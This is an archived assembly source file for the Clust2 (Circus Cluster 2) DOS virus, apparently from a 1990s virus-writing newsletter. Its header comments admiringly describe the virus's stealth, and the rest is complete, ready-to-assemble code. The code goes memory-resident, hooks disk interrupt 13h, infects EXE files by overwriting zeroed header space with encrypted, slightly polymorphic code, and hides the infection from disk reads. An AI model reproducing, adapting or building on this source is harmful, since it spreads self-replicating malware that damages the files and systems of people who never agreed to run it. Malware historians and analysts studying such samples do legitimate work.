home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / C.ZIP / CLUST2.ZIP / CCLUST2.ASM next >
Encoding:
Assembly Source File  |  1994-02-03  |  8.7 KB  |  280 lines

  1. ;The Circus Cluster 2 virus is an experiment which TridenT finished after
  2. ;the original Cluster virus was published in Crypt 17. The source
  3. ;code in its original form is provided now.
  4. ;
  5. ;Credited to TridenT, Circus Cluster 2 uses some of
  6. ;the ideas of the Bulgarian virus known as The Rat.  The Rat was deemed
  7. ;tricky because it looked for "00" empty space below the header in
  8. ;an EXEfile - if it found enough room for itself, it wrote itself out
  9. ;to the empty space or "air" in the file.  This hid the virus in the 
  10. ;file, but added no change in file size.  This is a nice theme - one
  11. ;made famous by the ZeroHunt virus which first did the same with
  12. ;.COMfiles.  In both cases, the viruses had to be picky about the
  13. ;files they infected, limiting their spread.  This is still true with
  14. ;Circus Cluster 2 - it's an effective virus, but an extremely picky
  15. ;one.
  16. ;
  17. ;First, Circus Cluster 2 will attempt to copy itself into
  18. ;the "air" in an EXEfile just below the file header, if there is
  19. ;enough room.  The most common candidates for infection are standard
  20. ;MS/PC-DOS utility programs, like FIND or FC, among others.
  21. ;
  22. ;
  23. ;
  24. ;Because Circus Cluster installs its own INT 13 disk hander, it then can
  25. ;intercept all attempts to read from files for a quick look.
  26. ;For example, looking at a hex dump of a Cluster-infected .EXE,
  27. ;with Vern Berg's LIST, will show the files clean.  Now, boot
  28. ;the system clean and look again.  You'll see Cluster in the file's
  29. ;"00" space.
  30. ;
  31. ;Additional notes by Black Wolf & Urnst Kouch
  32. ;Crypt Newsletter 22. Circus Cluster 2 can be quickly assembled with
  33. ;the A86 shareware assembler.
  34. ;----------------------------------------------------------------------
  35. ;
  36. ; Clust2 virus by John Tardy / TridenT
  37. ;
  38. ; Virus Name:  Clust2
  39. ; Aliases:     Cluster-II, Circus Clusters-II
  40. ; V Status:    Released
  41. ; Discovery:   Not (yet)
  42. ; Symptoms:    .EXE altered, possible "sector not found" errors on disk-drives,
  43. ;              decrease in aveable memory
  44. ; Origin:      The Netherlands
  45. ; Eff Length:  386 bytes (EXE size doesn't change)
  46. ; Type Code:   ORhE - Overwriting Resident .EXE Infector
  47. ; Detection Method:
  48. ; Removal Instructions: Delete infected files or copy infected files with the
  49. ;                       virus resident to a device driven unit.
  50. ;
  51. ; General Comments:
  52. ; The Clust2 virus is not yet submitted to any antiviral authority. It
  53. ; is from the TridenT Virus Research Centre and was written by someone
  54. ; calling himself John Tardy. When an infected program is started, Clust2
  55. ; will become resident in high memory, but below TOM. It hooks interrupt
  56. ; 13h and will try to load the program again. Because of its stealth
  57. ; abilities the original program is loaded and will execute normally.
  58. ; The Clust2 virus infects files when a write request for interrupt 13h
  59. ; is done. It will check if the buffer contains the 'MZ' signature and
  60. ; that the candidate file isn't larger than 65000 bytes, and if there are
  61. ; enough zeros in the EXE-header. If these conditions are met, Clust2
  62. ; will convert the EXE file to a COM file and inserts its code in the
  63. ; buffer, allowing the original write request to proceed. This way it
  64. ; evades critical errors. The Clust2 virus is also stealth and can't be
  65. ; detected with virus scanners or checksumming software if the virus is
  66. ; resident. File-length and date doesn't change regardless if Clust2
  67. ; is resident. It's also a slighty polymorphic virus, mutating a few
  68. ; bytes in its decryptor. A wildcarded search string is needed to find it.
  69. ; The following text is encrypted within the
  70. ; virus:
  71. ;
  72. ;        "[Clust2]"
  73. ;        "JT / TridenT"
  74. ;
  75. ; The Clust2 virus will not infect files on device driven units, like drives
  76. ; compressed with DoubleSpace. It will disinfect itself on the fly
  77. ; when copied to such a device.
  78. ;
  79. ; Sometimes it will issue a "sector not found" error when a file is
  80. ; copied to a disk drive.
  81. ;
  82. ; The Clust2 virus doesn't do anything beside replicate.
  83. ;
  84.         ORG     100H
  85.  
  86. JUMPIE:         JMP     SHORT JUMPER
  87.  
  88.         ORG     180H
  89.  
  90. JUMPER:         CLC
  91.         MOV     CX,DECRLEN
  92. MORPH           EQU     $-2
  93. JASS:           LEA     SI,DECR
  94. DECRYPT:        XOR     BYTE PTR [SI],0
  95. TRIG            EQU     $-1
  96. TRAG            EQU     $-2
  97. TROG:           INC     SI
  98. TREG:           LOOP    DECRYPT
  99.  
  100. DECR:           MOV     AX,3513H    
  101.         INT     21H         ; return interrupt 13h handler
  102.         MOV     OLD13,BX    ; segment: offset
  103.         MOV     OLD13[2],ES
  104.         MOV     AX,ES:[BX]
  105.         CMP     AX,0FC80H   ; compare with virus ID
  106.         JE      EXIT        ; terminate if virus resident
  107.  
  108. DOINST:         MOV     AH,0DH       ; empty disk buffers
  109.         INT     21H
  110.  
  111.         MOV     AX,CS
  112.         DEC     AX
  113.         MOV     DS,AX
  114.         CMP     BYTE PTR DS:[0],'Z'   ; last chain?
  115.         JNE     EXIT                  ; if not, terminate
  116. RESIT:          SUB     WORD PTR DS:[3],VIRPAR+19H   ; subtract from MCB size
  117.         SUB     WORD PTR DS:[12H],VIRPAR+19H ; subtract from
  118.         LEA     SI,JUMPER                    ; PSP top of memory
  119.         MOV     DI,SI
  120.         MOV     ES,DS:[12H]                  ; ES = new segment
  121.         MOV     DS,CS
  122.         MOV     CX,VIRLEN                    ; virus length
  123.         REP     MOVSB                        ; copy it into memory
  124.  
  125.         MOV     AX,2513H                     ;
  126.         MOV     DS,ES
  127.         LEA     DX,NEW13                     ; set interrupt 13h 
  128.         INT     21H                          ; into virus
  129.  
  130.         PUSH    CS
  131.         POP     ES
  132.         MOV     BX,100H
  133.         MOV     SP,BX
  134.         MOV     AH,4AH
  135.         INT     21H           ; modify memory allocation
  136.         PUSH    CS
  137.         POP     DS
  138.         MOV     BX,DS:[2CH]
  139.         MOV     ES,BX
  140.         MOV     AH,49H
  141.         INT     21H
  142.  
  143.         XOR     AX,AX
  144.         MOV     DI,1
  145. SEEK:           DEC     DI       ; seek for file executed
  146.         SCASW            ; in environment
  147.         JNE     SEEK     ; located after two 0's
  148.  
  149.         LEA     SI,DS:[DI+2]
  150. EXEC:           PUSH    BX
  151.         PUSH    CS
  152.         POP     DS                ; ds = environment segment
  153.         MOV     BX,OFFSET PARAM
  154.         MOV     DS:[BX+4],CS
  155.         MOV     DS:[BX+8],CS
  156.         MOV     DS:[BX+12],CS
  157.         POP     DS
  158.         PUSH    CS
  159.         POP     ES
  160.  
  161.         MOV     DI,OFFSET FILENAME
  162.         PUSH    DI
  163.         MOV     CX,40
  164.         REP     MOVSW
  165.         PUSH    CS
  166.         POP     DS
  167.  
  168.         POP     DX
  169.  
  170.         MOV     AX,4B00H    ; load & execute file 
  171.         INT     21H
  172. EXIT:           MOV     AH,4DH      ; 
  173.         INT     21H
  174.         MOV     AH,4CH
  175.         INT     21H
  176.  
  177. OLD13           DW      0,0
  178.  
  179. ORG13:          JMP     D CS:[OLD13]    ; jump to old interrupt 13h
  180.  
  181. NEW13:          CMP     AH,3            ; is there a write to the disk?
  182.         JE      CHECKEXE        ; if so, check for infection op.
  183.         CMP     AH,2            ; is it a disk read?
  184.         JNE     ORG13           ; if not, to original int 13h
  185. DO:             PUSHF
  186.         CALL    D CS:[OLD13]    ; call interrupt 13h
  187.         CMP     ES:[BX],7EEBH   ; is sector infected?
  188.         JNE     ERROR
  189.         MOV     ES:[BX],'ZM'    ; cover virus ID with 'MZ'
  190.         PUSH    DI
  191.         PUSH    CX
  192.         PUSH    AX
  193.  
  194.         MOV     CX,VIRLEN
  195.         XOR     AX,AX
  196.         LEA     DI,BX[80H]     ; hash virus from sector when read
  197.         REP     STOSB
  198.  
  199.         POP     AX
  200.         POP     CX
  201.         POP     DI
  202. ERROR:          IRET
  203.  
  204. CHECKEXE:       CMP     ES:[BX],'ZM'   ; is an .EXEfile being written?
  205.         JNE     ORG13          ; to original address if not
  206.  
  207.         CMP     W ES:BX[4],(65000/512) ; is .EXEfile too large to
  208.         JNB     ORG13                  ; convert? Compare with value
  209.                            ; = max size (6500) divided by
  210.                            ; sector size
  211.         PUSH    AX
  212.         PUSH    CX
  213.         PUSH    SI
  214.         PUSH    DI
  215.         PUSH    DS
  216.  
  217.         PUSH    ES
  218.         POP     DS
  219.         LEA     SI,BX[80H]        ; look in the .EXEfile header
  220.         MOV     DI,SI
  221.         MOV     CX,VIRLEN
  222. FIND0:          LODSB
  223.         OR      AL,AL
  224.         LOOPE   FIND0            ; check if field was hashed to 0's
  225.         OR      CX,CX            ; and exit
  226.         JNE     NO0              ; if not
  227.  
  228.         XOR     AX,AX
  229.         MOV     DS,AX
  230.         MOV     AX,DS:[046CH]
  231.         PUSH    CS
  232.         POP     DS
  233.         TEST    AH,1
  234.         JZ      NOLOOPFLIP
  235.         XOR     B TREG,2
  236. NOLOOPFLIP:     TEST    AH,2
  237.         JZ      NOCLCFLIP
  238.         XOR     B JUMPER,1
  239. NOCLCFLIP:
  240.         ADD     AX,VIRLEN
  241.         SHR     AX,1
  242.         MOV     W MORPH,AX
  243.         MOV     B TRIG,AH
  244.         XOR     B TRAG,1
  245.         XOR     B JASS,1
  246.         XOR     B TROG,1
  247.         MOV     CX,CRYPT
  248.         LEA     SI,JUMPER
  249.         REP     MOVSB
  250.         MOV     CX,DECRLEN
  251.         LEA     SI,DECR
  252. CODEIT:         LODSB
  253.         XOR     AL,AH
  254.         STOSB                   ; copy virus over 'air' in EXEheader
  255.         LOOP    CODEIT          ; after encrypting
  256.         MOV     DI,BX
  257.         MOV     AX,07EEBH        ; insert jmp over original 'MZ'
  258.         STOSW
  259.  
  260. NO0:            POP     DS
  261.         POP     DI
  262.         POP     SI
  263.         POP     CX
  264.         POP     AX
  265.         JMP     ORG13
  266.  
  267.         DB      '[Clust2]'
  268.  
  269. PARAM           DW      0,80H,?,5CH,?,6CH,?
  270.  
  271.         DB      'JT / TridenT'
  272.  
  273. FILENAME        EQU     $
  274. DECRLEN         EQU     $-DECR
  275. CRYPT           EQU     DECR-JUMPER
  276. VIRLEN          EQU     $-JUMPER
  277. VIRPAR          EQU     ($-JUMPER)/16
  278.  
  279.  
  280.